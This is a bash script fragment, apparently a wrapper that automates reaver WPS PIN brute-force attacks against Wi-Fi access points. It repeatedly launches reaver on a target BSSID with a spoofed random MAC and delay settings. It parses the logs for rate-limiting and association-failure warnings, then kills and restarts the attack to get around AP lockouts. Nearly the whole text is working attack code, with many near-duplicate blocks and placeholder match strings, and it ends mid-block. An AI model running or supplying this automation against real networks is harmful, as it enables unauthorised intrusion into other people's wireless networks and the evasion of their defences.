if [[ $USE_R40 == y || $USE_R40 == Y ]] && [[ $USE_LONG40 == y || $USE_LONG40 == Y ]] && [[ $USE_PIN40 == y || $USE_PIN40 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX40" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY40"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -r $RX40:$RY40 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN40 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE40 == n ] || [ $KEEP_FILE40 == N ]; then

          rm VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R41 == n || $USE_R41 == N ]] && [[ $USE_LONG41 == n || $USE_LONG41 == N ]] && [[ $USE_PIN41 == n || $USE_PIN41 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R41 == y || $USE_R41 == Y ]] && [[ $USE_LONG41 == n || $USE_LONG41 == N ]] && [[ $USE_PIN41 == n || $USE_PIN41 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX41" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY41"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -vv -x 60 -r $RX41:$RY41 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R41 == n || $USE_R41 == N ]] && [[ $USE_LONG41 == y || $USE_LONG41 == Y ]] && [[ $USE_PIN41 == n || $USE_PIN41 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R41 == y || $USE_R41 == Y ]] && [[ $USE_LONG41 == y || $USE_LONG41 == Y ]] && [[ $USE_PIN41 == n || $USE_PIN41 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX41" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY41"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -r $RX41:$RY41 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


